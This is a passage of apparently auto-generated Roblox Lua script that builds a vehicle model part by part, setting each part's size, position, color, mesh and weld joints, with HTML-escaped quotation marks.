      local _mesh = Vehicle_Part:FindFirstChild(&quot;Mesh&quot;)
      if not _mesh then
          _mesh = Instance.new(&apos;BlockMesh&apos;, Vehicle_Part)
          _mesh.Name = &apos;Mesh&apos;
      end
      _mesh.Scale = Vector3.new(0.251852,1.762965,3.525930)
      Vehicle_Part.Size = Vector3.new(1,1,1)
  end
  Vehicle_Part = Instance.new(&apos;Part&apos;, Vehicle)
  Vehicle_Part.Name = &quot;Part&quot;
  Vehicle_Part.formFactor = compatibility
  Vehicle_Part.Anchored = true
  Vehicle_Part.Size       = Vector3.new(5.288894,5.055556,0.755556)
  Vehicle_Part.CFrame = CFrame.new(-29.209061,5.092054,179.593109) * CFrame.Angles(-0.000000,1.570796,0.000000)
  Vehicle_Part.BrickColor = BrickColor.new(1001)
  Vehicle_Part.Transparency = 0.000000
  Vehicle_Part.CanCollide = false
  Vehicle_VanDoor = Instance.new(&apos;Model&apos;, Vehicle)
  Vehicle_VanDoor.Name = &quot;VanDoor&quot;
  if compatibility == Enum.FormFactor.Symmetric then
      local _mesh = Vehicle_Part:FindFirstChild(&quot;Mesh&quot;)
      if not _mesh then
          _mesh = Instance.new(&apos;BlockMesh&apos;, Vehicle_Part)
          _mesh.Name = &apos;Mesh&apos;
      end
      _mesh.Scale = Vector3.new(5.288894,5.055556,0.755556)
      Vehicle_Part.Size = Vector3.new(1,1,1)
  end
  Vehicle_VanDoor_Part1 = Instance.new(&apos;Part&apos;, Vehicle_VanDoor)
  Vehicle_VanDoor_Part1.Name = &quot;Part1&quot;
  Vehicle_VanDoor_Part1.formFactor = compatibility
  Vehicle_VanDoor_Part1.Anchored = true
  Vehicle_VanDoor_Part1.Size       = Vector3.new(0.251852,4.533338,5.037047)
  Vehicle_VanDoor_Part1.CFrame = CFrame.new(-37.393997,5.334615,176.633942) * CFrame.Angles(-0.000000,-1.570796,0.000000)
  Vehicle_VanDoor_Part1.BrickColor = BrickColor.new(1001)
  Vehicle_VanDoor_Part1.Transparency = 0.000000
  Vehicle_VanDoor_Part1.CanCollide = false
  if compatibility == Enum.FormFactor.Symmetric then
      local _mesh = Vehicle_VanDoor_Part1:FindFirstChild(&quot;Mesh&quot;)
      if not _mesh then
          _mesh = Instance.new(&apos;BlockMesh&apos;, Vehicle_VanDoor_Part1)
          _mesh.Name = &apos;Mesh&apos;
      end
      _mesh.Scale = Vector3.new(0.251852,4.533338,5.037047)
      Vehicle_VanDoor_Part1.Size = Vector3.new(1,1,1)
  end
  Vehicle_VanDoor_Part2 = Instance.new(&apos;Part&apos;, Vehicle_VanDoor)
  Vehicle_VanDoor_Part2.Name = &quot;Part2&quot;
  Vehicle_VanDoor_Part2.formFactor = compatibility
  Vehicle_VanDoor_Part2.Anchored = true
  Vehicle_VanDoor_Part2.Size       = Vector3.new(0.251852,0.251852,0.755557)
  Vehicle_VanDoor_Part2.CFrame = CFrame.new(-39.156876,4.956856,176.382080) * CFrame.Angles(-0.000000,1.570796,0.000000)
  Vehicle_VanDoor_Part2.BrickColor = BrickColor.new(199)
  Vehicle_VanDoor_Part2.Transparency = 0.000000
  Vehicle_VanDoor_Part2.CanCollide = false
 pcall(function()  Vehicle_VanDoor_Part2_Part2_to_Part1_Strong_Joint = Instance.new(&apos;ManualWeld&apos;, Vehicle_VanDoor_Part2)
  Vehicle_VanDoor_Part2_Part2_to_Part1_Strong_Joint.Name = &quot;Part2-to-Part1 Strong Joint&quot; end)
  Vehicle_Model = Instance.new(&apos;Model&apos;, Vehicle)
  Vehicle_Model.Name = &quot;Model&quot;
  if compatibility == Enum.FormFactor.Symmetric then
      local _mesh = Vehicle_VanDoor_Part2:FindFirstChild(&quot;Mesh&quot;)
      if not _mesh then
          _mesh = Instance.new(&apos;BlockMesh&apos;, Vehicle_VanDoor_Part2)
          _mesh.Name = &apos;Mesh&apos;
      end
      _mesh.Scale = Vector3.new(0.251852,0.251852,0.755557)
      Vehicle_VanDoor_Part2.Size = Vector3.new(1,1,1)
  end
  Vehicle_Model_Part = Instance.new(&apos;Part&apos;, Vehicle_Model)
  Vehicle_Model_Part.Name = &quot;Part&quot;
  Vehicle_Model_Part.formFactor = compatibility
  Vehicle_Model_Part.Anchored = true
  Vehicle_Model_Part.Size       = Vector3.new(0.557171,2.844446,2.718419)
  Vehicle_Model_Part.CFrame = CFrame.new(-42.209930,1.350277,182.412582) * CFrame.Angles(0.000000,1.570796,0.000000)
  Vehicle_Model_Part.BrickColor = BrickColor.new(26)
  Vehicle_Model_Part.Transparency = 0.000000
  Vehicle_Model_Part.CanCollide = false
  Vehicle_Model_Part_Mesh = Instance.new(&apos;SpecialMesh&apos;, Vehicle_Model_Part)
  Vehicle_Model_Part_Mesh.Name = &quot;Mesh&quot;
  Vehicle_Model_Part_Mesh.MeshType  = Enum.MeshType.Cylinder
  Vehicle_Model_Part_Mesh.Scale     = Vector3.new(1.000000,1.000000,1.000000)
  if compatibility == Enum.FormFactor.Symmetric then
      local _mesh = Vehicle_Model_Part:FindFirstChild(&quot;Mesh&quot;)
      if not _mesh then
          _mesh = Instance.new(&apos;BlockMesh&apos;, Vehicle_Model_Part)
          _mesh.Name = &apos;Mesh&apos;
      end
      _mesh.Scale = Vector3.new(0.557171,2.844446,2.718419)
      Vehicle_Model_Part.Size = Vector3.new(1,1,1)
  end
  Vehicle_Model_Part = Instance.new(&apos;Part&apos;, Vehicle_Model)
  Vehicle_Model_Part.Name = &quot;Part&quot;
  Vehicle_Model_Part.formFactor = compatibility
  Vehicle_Model_Part.Anchored = true
  Vehicle_Model_Part.Size       = Vector3.new(0.557171,2.844446,2.718419)
  Vehicle_Model_Part.CFrame = CFrame.new(-31.584171,1.350277,182.412582) * CFrame.Angles(0.000000,1.570796,0.000000)
  Vehicle_Model_Part.BrickColor = BrickColor.new(26)
  Vehicle_Model_Part.Transparency = 0.000000
  Vehicle_Model_Part.CanCollide = false
  Vehicle_Model_Part_Mesh = Instance.new(&apos;SpecialMesh&apos;, Vehicle_Model_Part)
  Vehicle_Model_Part_Mesh.Name = &quot;Mesh&quot;
  Vehicle_Model_Part_Mesh.MeshType  = Enum.MeshType.Cylinder
  Vehicle_Model_Part_Mesh.Scale     = Vector3.new(1.000000,1.000000,1.000000)
  Vehicle_Prop = Instance.new(&apos;Model&apos;, Vehicle)
  Vehicle_Prop.Name = &quot;Prop&quot;
  if compatibility == Enum.FormFactor.Symmetric then
      local _mesh = Vehicle_Model_Part:FindFirstChild(&quot;Mesh&quot;)
      if not _mesh then
          _mesh = Instance.new(&apos;BlockMesh&apos;, Vehicle_Model_Part)
          _mesh.Name = &apos;Mesh&apos;
      end
      _mesh.Scale = Vector3.new(0.557171,2.844446,2.718419)
      Vehicle_Model_Part.Size = Vector3.new(1,1,1)
  end
  Vehicle_Prop_Part = Instance.new(&apos;Part&apos;, Vehicle_Prop)
  Vehicle_Prop_Part.Name = &quot;Part&quot;
  Vehicle_Prop_Part.formFactor = compatibility
  Vehicle_Prop_Part.Anchored = true
  Vehicle_Prop_Part.Size       = Vector3.new(3.475350,3.475350,3.475350)
  Vehicle_Prop_Part.CFrame = CFrame.new(-38.671669,9.913158,179.621109) * CFrame.Angles(1.570797,-0.261574,-0.000000)
  Vehicle_Prop_Part.BrickColor = BrickColor.new(192)
  Vehicle_Prop_Part.Transparency = 0.000000
  Vehicle_Prop_Part.CanCollide = false
  Vehicle_Prop_Part_Mesh = Instance.new(&apos;SpecialMesh&apos;, Vehicle_Prop_Part)
  Vehicle_Prop_Part_Mesh.Name = &quot;Mesh&quot;
  Vehicle_Prop_Part_Mesh.MeshType  = Enum.MeshType.Sphere
  Vehicle_Prop_Part_Mesh.Scale     = Vector3.new(1.000000,1.000000,1.000000)
  Vehicle_Prop_Part = Instance.new(&apos;Part&apos;, Vehicle_Prop)
  Vehicle_Prop_Part.Name = &quot;Part&quot;
  Vehicle_Prop_Part.formFactor = compatibility
  Vehicle_Prop_Part.Anchored = true
  Vehicle_Prop_Part.Size       = Vector3.new(3.475350,3.475350,3.475350)
  Vehicle_Prop_Part.CFrame = CFrame.new(-37.491631,9.596937,179.660431) * CFrame.Angles(1.570796,-0.261574,-0.000000)
  Vehicle_Prop_Part.BrickColor = BrickColor.new(1016)
  Vehicle_Prop_Part.Transparency = 0.000000
  Vehicle_Prop_Part.CanCollide = false
  Vehicle_Prop_Part_Mesh = Instance.new(&apos;SpecialMesh&apos;, Vehicle_Prop_Part)
  Vehicle_Prop_Part_Mesh.Name = &quot;Mesh&quot;
  Vehicle_Prop_Part_Mesh.MeshType  = Enum.MeshType.Sphere
  Vehicle_Prop_Part_Mesh.Scale     = Vector3.new(1.000000,1.000000,1.000000)
  Vehicle_Prop_Part = Instance.new(&apos;Part&apos;, Vehicle_Prop)
  Vehicle_Prop_Part.Name = &quot;Part&quot;
  Vehicle_Prop_Part.formFactor = compatibility
  Vehicle_Prop_Part.Anchored = true
  Vehicle_Prop_Part.Size       = Vector3.new(3.387840,3.387840,3.387840)
  Vehicle_Prop_Part.CFrame = CFrame.new(-36.247799,9.235614,179.572937) * CFrame.Angles(1.570796,-0.261574,-0.000000)
  Vehicle_Prop_Part.BrickColor = BrickColor.new(1001)
  Vehicle_Prop_Part.Transparency = 0.000000
  Vehicle_Prop_Part.CanCollide = false
  Vehicle_Prop_Part_Mesh = Instance.new(&apos;SpecialMesh&apos;, Vehicle_Prop_Part)
  Vehicle_Prop_Part_Mesh.Name = &quot;Mesh&quot;
  Vehicle_Prop_Part_Mesh.MeshType  = Enum.MeshType.Sphere
  Vehicle_Prop_Part_Mesh.Scale     = Vector3.new(1.000000,1.000000,1.000000)
  Vehicle_Prop_Cone = Instance.new(&apos;Part&apos;, Vehicle_Prop)
  Vehicle_Prop_Cone.Name = &quot;Cone&quot;
  Vehicle_Prop_Cone.formFactor = compatibility
  Vehicle_Prop_Cone.Anchored = true
  Vehicle_Prop_Cone.Size       = Vector3.new(2.000000,5.000000,2.000000)
  Vehicle_Prop_Cone.CFrame = CFrame.new(-33.282967,8.361523,179.496857) * CFrame.Angles(1.570796,-0.261799,-1.570796)
  Vehicle_Prop_Cone.BrickColor = BrickColor.new(106)
  Vehicle_Prop_Cone.Transparency = 0.000000
  Vehicle_Prop_Cone.CanCollide = true
  Vehicle_Prop_Cone_Mesh = Instance.new(&apos;SpecialMesh&apos;, Vehicle_Prop_Cone)
  Vehicle_Prop_Cone_Mesh.Name = &quot;Mesh&quot;
  Vehicle_Prop_Cone_Mesh.MeshType  = Enum.MeshType.FileMesh
  Vehicle_Prop_Cone_Mesh.MeshId    = &quot;http://www.roblox.com/asset/?id=1033714&quot;
  Vehicle_Prop_Cone_Mesh.Scale     = Vector3.new(1.000000,5.000000,1.000000)
  Vehicle_Model = Instance.new(&apos;Model&apos;, Vehicle)
  Vehicle_Model.Name = &quot;Model&quot;
  Vehicle_Model_Part = Instance.new(&apos;Part&apos;, Vehicle_Model)
  Vehicle_Model_Part.Name = &quot;Part&quot;
  Vehicle_Model_Part.formFactor = compatibility
  Vehicle_Model_Part.Anchored = true
  Vehicle_Model_Part.Size       = Vector3.new(0.557171,2.844446,2.718419)
  Vehicle_Model_Part.CFrame = CFrame.new(-31.584171,1.350277,176.789993) * CFrame.Angles(0.000000,1.570796,0.000000)
  Vehicle_Model_Part.BrickColor = BrickColor.new(26)
  Vehicle_Model_Part.Transparency = 0.000000
  Vehicle_Model_Part.CanCollide = false
  Vehicle_Model_Part_Mesh = Instance.new(&apos;SpecialMesh&apos;, Vehicle_Model_Part)
  Vehicle_Model_Part_Mesh.Name = &quot;Mesh&quot;
  Vehicle_Model_Part_Mesh.MeshType  = Enum.MeshType.Cylinder
  Vehicle_Model_Part_Mesh.Scale     = Vector3.new(1.000000,1.000000,1.000000)
  if compatibility == Enum.FormFactor.Symmetric then
      local _mesh = Vehicle_Model_Part:FindFirstChild(&quot;Mesh&quot;)
      if not _mesh then
          _mesh = Instance.new(&apos;BlockMesh&apos;, Vehicle_Model_Part)
          _mesh.Name = &apos;Mesh&apos;
      end
      _mesh.Scale = Vector3.new(0.557171,2.844446,2.718419)
      Vehicle_Model_Part.Size = Vector3.new(1,1,1)
  end
  Vehicle_Model_Part = Instance.new(&apos;Part&apos;, Vehicle_Model)
  Vehicle_Model_Part.Name = &quot;Part&quot;
  Vehicle_Model_Part.formFactor = compatibility
  Vehicle_Model_Part.Anchored = true
  Vehicle_Model_Part.Size       = Vector3.new(0.557171,2.844446,2.718419)
  Vehicle_Model_Part.CFrame = CFrame.new(-42.209930,1.350277,176.789993) * CFrame.Angles(0.000000,1.570796,0.000000)
  Vehicle_Model_Part.BrickColor = BrickColor.new(26)
  Vehicle_Model_Part.Transparency = 0.000000
  Vehicle_Model_Part.CanCollide = false
  Vehicle_Model_Part_Mesh = Instance.new(&apos;SpecialMesh&apos;, Vehicle_Model_Part)
  Vehicle_Model_Part_Mesh.Name = &quot;Mesh&quot;
  Vehicle_Model_Part_Mesh.MeshType  = Enum.MeshType.Cylinder
  Vehicle_Model_Part_Mesh.Scale     = Vector3.new(1.000000,1.000000,1.000000)
  if compatibility == Enum.FormFactor.Symmetric then
      local _mesh = Vehicle_Model_Part:FindFirstChild(&quot;Mesh&quot;)
      if not _mesh then
          _mesh = Instance.new(&apos;BlockMesh&apos;, Vehicle_Model_Part)
          _mesh.Name = &apos;Mesh&apos;
      end
      _mesh.Scale = Vector3.new(0.557171,2.844446,2.718419)
      Vehicle_Model_Part.Size = Vector3.new(1,1,1)
  end
  Vehicle_Part = Instance.new(&apos;Part&apos;, Vehicle)
  Vehicle_Part.Name = &quot;Part&quot;
  Vehicle_Part.formFactor = compatibility
  Vehicle_Part.Anchored = true
  Vehicle_Part.Size       = Vector3.new(0.251852,1.599261,0.251852)
  Vehicle_Part.CFrame = CFrame.new(-30.888924,2.697700,176.319138) * CFrame.Angles(-1.570796,0.321749,1.570796)
  Vehicle_Part.BrickColor = BrickColor.new(199)
  Vehicle_Part.Transparency = 0.000000
  Vehicle_Part.CanCollide = false
  if compatibility == Enum.FormFactor.Symmetric then
      local _mesh = Vehicle_Part:FindFirstChild(&quot;Mesh&quot;)
      if not _mesh then
          _mesh = Instance.new(&apos;BlockMesh&apos;, Vehicle_Part)
          _mesh.Name = &apos;Mesh&apos;
      end
      _mesh.Scale = Vector3.new(0.251852,1.599261,0.251852)
      Vehicle_Part.Size = Vector3.new(1,1,1)
  end
  Vehicle_Part = Instance.new(&apos;Part&apos;, Vehicle)
  Vehicle_Part.Name = &quot;Part&quot;
  Vehicle_Part.formFactor = compatibility
  Vehicle_Part.Anchored = true
  Vehicle_Part.Size       = Vector3.new(0.251852,0.251852,6.748157)
  Vehicle_Part.CFrame = CFrame.new(-36.927155,1.682832,182.867142) * CFrame.Angles(-0.000000,1.570796,0.000000)
  Vehicle_Part.BrickColor = BrickColor.new(199)
  Vehicle_Part.Transparency = 0.000000
  Vehicle_Part.CanCollide = false
  if compatibility == Enum.FormFactor.Symmetric then
      local _mesh = Vehicle_Part:FindFirstChild(&quot;Mesh&quot;)
      if not _mesh then
          _mesh = Instance.new(&apos;BlockMesh&apos;, Vehicle_Part)
          _mesh.Name = &apos;Mesh&apos;
      end
      _mesh.Scale = Vector3.new(0.251852,0.251852,6.748157)
      Vehicle_Part.Size = Vector3.new(1,1,1)
  end
  Vehicle_Part = Instance.new(&apos;Part&apos;, Vehicle)
  Vehicle_Part.Name = &quot;Part&quot;
  Vehicle_Part.formFactor = compatibility
  Vehicle_Part.Anchored = true
  Vehicle_Part.Size       = Vector3.new(0.503704,0.251852,0.251852)
  Vehicle_Part.CFrame = CFrame.new(-44.939186,4.200555,177.204605) * CFrame.Angles(0.519468,1.435922,-0.515547)
  Vehicle_Part.BrickColor = BrickColor.new(311)
  Vehicle_Part.Transparency = 0.000000
  Vehicle_Part.CanCollide = false
  if compatibility == Enum.FormFactor.Symmetric then
      local _mesh = Vehicle_Part:FindFirstChild(&quot;Mesh&quot;)
      if not _mesh then
          _mesh = Instance.new(&apos;BlockMesh&apos;, Vehicle_Part)
          _mesh.Name = &apos;Mesh&apos;
      end
      _mesh.Scale = Vector3.new(0.503704,0.251852,0.251852)
      Vehicle_Part.Size = Vector3.new(1,1,1)
  end
  Vehicle_Part = Instance.new(&apos;Part&apos;, Vehicle)
  Vehicle_Part.Name = &quot;Part&quot;
  Vehicle_Part.formFactor = compatibility
  Vehicle_Part.Anchored = true
  Vehicle_Part.Size       = Vector3.new(0.251852,1.586668,0.251852)
  Vehicle_Part.CFrame = CFrame.new(-32.320267,2.695672,182.867172) * CFrame.Angles(-1.570796,-0.321754,1.570796)
  Vehicle_Part.BrickColor = BrickColor.new(199)
  Vehicle_Part.Transparency = 0.000000
  Vehicle_Part.CanCollide = false
  if compatibility == Enum.FormFactor.Symmetric then
      local _mesh = Vehicle_Part:FindFirstChild(&quot;Mesh&quot;)
      if not _mesh then
          _mesh = Instance.new(&apos;BlockMesh&apos;, Vehicle_Part)
          _mesh.Name = &apos;Mesh&apos;
      end
      _mesh.Scale = Vector3.new(0.251852,1.586668,0.251852)
      Vehicle_Part.Size = Vector3.new(1,1,1)
  end
  Vehicle_Part = Instance.new(&apos;Part&apos;, Vehicle)
  Vehicle_Part.Name = &quot;Part&quot;
  Vehicle_Part.formFactor = compatibility
  Vehicle_Part.Anchored = true
  Vehicle_Part.Size       = Vector3.new(6.296302,0.503704,0.755556)
  Vehicle_Part.CFrame = CFrame.new(-40.564240,2.816093,179.593155) * CFrame.Angles(-0.000000,1.570796,0.000000)
  Vehicle_Part.BrickColor = BrickColor.new(1001)
  Vehicle_Part.Transparency = 0.000000
  Vehicle_Part.CanCollide = false
  pcall(function() Vehicle_Part_Part_to_Part_Strong_Joint = Instance.new(&apos;ManualWeld&apos;, Vehicle_Part)
  Vehicle_Part_Part_to_Part_Strong_Joint.Name = &quot;Part-to-Part Strong Joint&quot;
  Vehicle_Part_Part_to_Part_Strong_Joint = Instance.new(&apos;ManualWeld&apos;, Vehicle_Part)
  Vehicle_Part_Part_to_Part_Strong_Joint.Name = &quot;Part-to-Part Strong Joint&quot; end)
  if compatibility == Enum.FormFactor.Symmetric then
      local _mesh = Vehicle_Part:FindFirstChild(&quot;Mesh&quot;)
      if not _mesh then
          _mesh = Instance.new(&apos;BlockMesh&apos;, Vehicle_Part)
          _mesh.Name = &apos;Mesh&apos;
      end
      _mesh.Scale = Vector3.new(6.296302,0.503704,0.755556)
      Vehicle_Part.Size = Vector3.new(1,1,1)
  end
  Vehicle_Part = Instance.new(&apos;Part&apos;, Vehicle)
  Vehicle_Part.Name = &quot;Part&quot;
  Vehicle_Part.formFactor = compatibility
  Vehicle_Part.Anchored = true
  Vehicle_Part.Size       = Vector3.new(0.251852,0.251852,2.776668)
  Vehicle_Part.CFrame = CFrame.new(-44.926872,3.338388,179.589966) * CFrame.Angles(3.141554,-0.000064,-3.030904)
  Vehicle_Part.BrickColor = BrickColor.new(199)
  Vehicle_Part.Transparency = 0.000000
  Vehicle_Part.CanCollide = false
  Vehicle_Part_Mesh = Instance.new(&apos;BlockMesh&apos;, Vehicle_Part)
  Vehicle_Part_Mesh.Name = &quot;Mesh&quot;
  if compatibility == Enum.FormFactor.Symmetric then
      local _mesh = Vehicle_Part:FindFirstChild(&quot;Mesh&quot;)
      if not _mesh then
          _mesh = Instance.new(&apos;BlockMesh&apos;, Vehicle_Part)
          _mesh.Name = &apos;Mesh&apos;
      end
      _mesh.Scale = Vector3.new(0.251852,0.251852,2.776668)
      Vehicle_Part.Size = Vector3.new(1,1,1)
  end
  Vehicle_Part = Instance.new(&apos;Part&apos;, Vehicle)
  Vehicle_Part.Name = &quot;Part&quot;
  Vehicle_Part.formFactor = compatibility
  Vehicle_Part.Anchored = true
  Vehicle_Part.Size       = Vector3.new(0.251852,4.533338,0.251852)
  Vehicle_Part.CFrame = CFrame.new(-40.038399,5.334615,176.570969) * CFrame.Angles(-0.000000,1.570796,0.000000)
  Vehicle_Part.BrickColor = BrickColor.new(1001)
  Vehicle_Part.Transparency = 0.000000
  Vehicle_Part.CanCollide = false
  if compatibility == Enum.FormFactor.Symmetric then
      local _mesh = Vehicle_Part:FindFirstChild(&quot;Mesh&quot;)
      if not _mesh then
          _mesh = Instance.new(&apos;BlockMesh&apos;, Vehicle_Part)
          _mesh.Name = &apos;Mesh&apos;
      end
      _mesh.Scale = Vector3.new(0.251852,4.533338,0.251852)
      Vehicle_Part.Size = Vector3.new(1,1,1)
  end
  Vehicle_Part = Instance.new(&apos;Part&apos;, Vehicle)
  Vehicle_Part.Name = &quot;Part&quot;
  Vehicle_Part.formFactor = compatibility
  Vehicle_Part.Anchored = true
  Vehicle_Part.Size       = Vector3.new(0.251852,0.251852,1.070371)
  Vehicle_Part.CFrame = CFrame.new(-43.984608,2.060565,176.319138) * CFrame.Angles(-1.570796,0.643499,1.570796)
  Vehicle_Part.BrickColor = BrickColor.new(199)
  Vehicle_Part.Transparency = 0.000000
  Vehicle_Part.CanCollide = false
  if compatibility == Enum.FormFactor.Symmetric then
      local _mesh = Vehicle_Part:FindFirstChild(&quot;Mesh&quot;)
      if not _mesh then
          _mesh = Instance.new(&apos;BlockMesh&apos;, Vehicle_Part)
          _mesh.Name = &apos;Mesh&apos;
      end
      _mesh.Scale = Vector3.new(0.251852,0.251852,1.070371)
      Vehicle_Part.Size = Vector3.new(1,1,1)
  end
  Vehicle_Part = Instance.new(&apos;Part&apos;, Vehicle)
  Vehicle_Part.Name = &quot;Part&quot;
  Vehicle_Part.formFactor = compatibility
  Vehicle_Part.Anchored = true
  Vehicle_Part.Size       = Vector3.new(0.251852,0.251852,0.755557)
  Vehicle_Part.CFrame = CFrame.new(-39.156876,4.956854,182.804153) * CFrame.Angles(-0.000000,1.570796,0.000000)
  Vehicle_Part.BrickColor = BrickColor.new(199)
  Vehicle_Part.Transparency = 0.000000
  Vehicle_Part.CanCollide = false
  if compatibility == Enum.FormFactor.Symmetric then
      local _mesh = Vehicle_Part:FindFirstChild(&quot;Mesh&quot;)
      if not _mesh then
          _mesh = Instance.new(&apos;BlockMesh&apos;, Vehicle_Part)
          _mesh.Name = &apos;Mesh&apos;
      end
      _mesh.Scale = Vector3.new(0.251852,0.251852,0.755557)
      Vehicle_Part.Size = Vector3.new(1,1,1)
  end
  Vehicle_Part = Instance.new(&apos;Part&apos;, Vehicle)
  Vehicle_Part.Name = &quot;Part&quot;
  Vehicle_Part.formFactor = compatibility
  Vehicle_Part.Anchored = true
  Vehicle_Part.Size       = Vector3.new(0.251852,4.533338,5.540748)
  Vehicle_Part.CFrame = CFrame.new(-32.105125,5.334613,176.570969) * CFrame.Angles(-0.000000,1.570796,0.000000)
  Vehicle_Part.BrickColor = BrickColor.new(1001)
  Vehicle_Part.Transparency = 0.000000
  Vehicle_Part.CanCollide = false
  pcall(function() Vehicle_Part_Part_to_Part1_Strong_Joint = Instance.new(&apos;ManualWeld&apos;, Vehicle_Part)
  Vehicle_Part_Part_to_Part1_Strong_Joint.Name = &quot;Part-to-Part1 Strong Joint&quot;
  Vehicle_Part_Part_to_Part_Strong_Joint = Instance.new(&apos;ManualWeld&apos;, Vehicle_Part)
  Vehicle_Part_Part_to_Part_Strong_Joint.Name = &quot;Part-to-Part Strong Joint&quot; end)
  if compatibility == Enum.FormFactor.Symmetric then
      local _mesh = Vehicle_Part:FindFirstChild(&quot;Mesh&quot;)
      if not _mesh then
          _mesh = Instance.new(&apos;BlockMesh&apos;, Vehicle_Part)
          _mesh.Name = &apos;Mesh&apos;
      end
      _mesh.Scale = Vector3.new(0.251852,4.533338,5.540748)
      Vehicle_Part.Size = Vector3.new(1,1,1)
  end
  Vehicle_Part = Instance.new(&apos;Part&apos;, Vehicle)
  Vehicle_Part.Name = &quot;Part&quot;
  Vehicle_Part.formFactor = compatibility
  Vehicle_Part.Anchored = true
  Vehicle_Part.Size       = Vector3.new(5.288895,0.251852,0.251852)
  Vehicle_Part.CFrame = CFrame.new(-29.208878,7.727126,179.593155) * CFrame.Angles(-0.000000,1.570796,0.000000)
  Vehicle_Part.BrickColor = BrickColor.new(1001)
  Vehicle_Part.Transparency = 0.000000
  Vehicle_Part.CanCollide = false
  if compatibility == Enum.FormFactor.Symmetric then
      local _mesh = Vehicle_Part:FindFirstChild(&quot;Mesh&quot;)
      if not _mesh then
          _mesh = Instance.new(&apos;BlockMesh&apos;, Vehicle_Part)
          _mesh.Name = &apos;Mesh&apos;
      end
      _mesh.Scale = Vector3.new(5.288895,0.251852,0.251852)
      Vehicle_Part.Size = Vector3.new(1,1,1)
  end
  Vehicle_Part = Instance.new(&apos;Part&apos;, Vehicle)
  Vehicle_Part.Name = &quot;Part&quot;
  Vehicle_Part.formFactor = compatibility
  Vehicle_Part.Anchored = true
  Vehicle_Part.Size       = Vector3.new(0.251852,4.533338,5.037047)
  Vehicle_Part.CFrame = CFrame.new(-37.393997,5.334615,182.552292) * CFrame.Angles(-0.000000,1.570796,0.000000)
  Vehicle_Part.BrickColor = BrickColor.new(1001)
  Vehicle_Part.Transparency = 0.000000
  Vehicle_Part.CanCollide = false
  pcall(function() Vehicle_Part_Part_to_Part_Strong_Joint = Instance.new(&apos;ManualWeld&apos;, Vehicle_Part)
  Vehicle_Part_Part_to_Part_Strong_Joint.Name = &quot;Part-to-Part Strong Joint&quot; end)
  if compatibility == Enum.FormFactor.Symmetric then
      local _mesh = Vehicle_Part:FindFirstChild(&quot;Mesh&quot;)
      if not _mesh then
          _mesh = Instance.new(&apos;BlockMesh&apos;, Vehicle_Part)
          _mesh.Name = &apos;Mesh&apos;
      end
      _mesh.Scale = Vector3.new(0.251852,4.533338,5.037047)
      Vehicle_Part.Size = Vector3.new(1,1,1)
  end
  Vehicle_Part = Instance.new(&apos;Part&apos;, Vehicle)
  Vehicle_Part.Name = &quot;Part&quot;
  Vehicle_Part.formFactor = compatibility
  Vehicle_Part.Anchored = true
  Vehicle_Part.Size       = Vector3.new(0.251852,0.251852,2.776668)
  Vehicle_Part.CFrame = CFrame.new(-44.816917,4.327074,179.590012) * CFrame.Angles(3.141554,-0.000064,-3.030904)
  Vehicle_Part.BrickColor = BrickColor.new(194)
  Vehicle_Part.Transparency = 0.000000
  Vehicle_Part.CanCollide = false
  Vehicle_Part_Mesh = Instance.new(&apos;BlockMesh&apos;, Vehicle_Part)
  Vehicle_Part_Mesh.Name = &quot;Mesh&quot;
  if compatibility == Enum.FormFactor.Symmetric then
      local _mesh = Vehicle_Part:FindFirstChild(&quot;Mesh&quot;)
      if not _mesh then
          _mesh = Instance.new(&apos;BlockMesh&apos;, Vehicle_Part)
          _mesh.Name = &apos;Mesh&apos;
      end
      _mesh.Scale = Vector3.new(0.251852,0.251852,2.776668)
      Vehicle_Part.Size = Vector3.new(1,1,1)
  end
  Vehicle_Part = Instance.new(&apos;Part&apos;, Vehicle)
  Vehicle_Part.Name = &quot;Part&quot;
  Vehicle_Part.formFactor = compatibility
  Vehicle_Part.Anchored = true
  Vehicle_Part.Size       = Vector3.new(0.251852,1.586668,0.251852)
  Vehicle_Part.CFrame = CFrame.new(-32.320267,2.695714,176.319138) * CFrame.Angles(-1.570796,-0.321754,1.570796)
  Vehicle_Part.BrickColor = BrickColor.new(199)
  Vehicle_Part.Transparency = 0.000000
  Vehicle_Part.CanCollide = false
  if compatibility == Enum.FormFactor.Symmetric then
      local _mesh = Vehicle_Part:FindFirstChild(&quot;Mesh&quot;)
      if not _mesh then
          _mesh = Instance.new(&apos;BlockMesh&apos;, Vehicle_Part)
          _mesh.Name = &apos;Mesh&apos;
      end
      _mesh.Scale = Vector3.new(0.251852,1.586668,0.251852)
      Vehicle_Part.Size = Vector3.new(1,1,1)
  end
  Vehicle_Part = Instance.new(&apos;Part&apos;, Vehicle)
  Vehicle_Part.Name = &quot;Part&quot;
  Vehicle_Part.formFactor = compatibility
  Vehicle_Part.Anchored = true
  Vehicle_Part.Size       = Vector3.new(0.251852,0.251852,1.070371)
  Vehicle_Part.CFrame = CFrame.new(-43.984516,2.060519,182.867126) * CFrame.Angles(-1.570796,0.643499,1.570796)
  Vehicle_Part.BrickColor = BrickColor.new(199)
  Vehicle_Part.Transparency = 0.000000
  Vehicle_Part.CanCollide = false
  if compatibility == Enum.FormFactor.Symmetric then
      local _mesh = Vehicle_Part:FindFirstChild(&quot;Mesh&quot;)
      if not _mesh then
          _mesh = Instance.new(&apos;BlockMesh&apos;, Vehicle_Part)
          _mesh.Name = &apos;Mesh&apos;
      end
      _mesh.Scale = Vector3.new(0.251852,0.251852,1.070371)
      Vehicle_Part.Size = Vector3.new(1,1,1)
  end
  Vehicle_Part = Instance.new(&apos;Part&apos;, Vehicle)
  Vehicle_Part.Name = &quot;Part&quot;
  Vehicle_Part.formFactor = compatibility
  Vehicle_Part.Anchored = true
  Vehicle_Part.Size       = Vector3.new(0.251852,4.533338,5.540747)
  Vehicle_Part.CFrame = CFrame.new(-32.105156,5.334571,182.615311) * CFrame.Angles(-0.000000,1.570796,0.000000)
  Vehicle_Part.BrickColor = BrickColor.new(1001)
  Vehicle_Part.Transparency = 0.000000
  Vehicle_Part.CanCollide = false
  pcall(function() Vehicle_Part_Part_to_Part_Strong_Joint = Instance.new(&apos;ManualWeld&apos;, Vehicle_Part)
  Vehicle_Part_Part_to_Part_Strong_Joint.Name = &quot;Part-to-Part Strong Joint&quot; end)
  if compatibility == Enum.FormFactor.Symmetric then
      local _mesh = Vehicle_Part:FindFirstChild(&quot;Mesh&quot;)
      if not _mesh then
          _mesh = Instance.new(&apos;BlockMesh&apos;, Vehicle_Part)
          _mesh.Name = &apos;Mesh&apos;
      end
      _mesh.Scale = Vector3.new(0.251852,4.533338,5.540747)
      Vehicle_Part.Size = Vector3.new(1,1,1)
  end
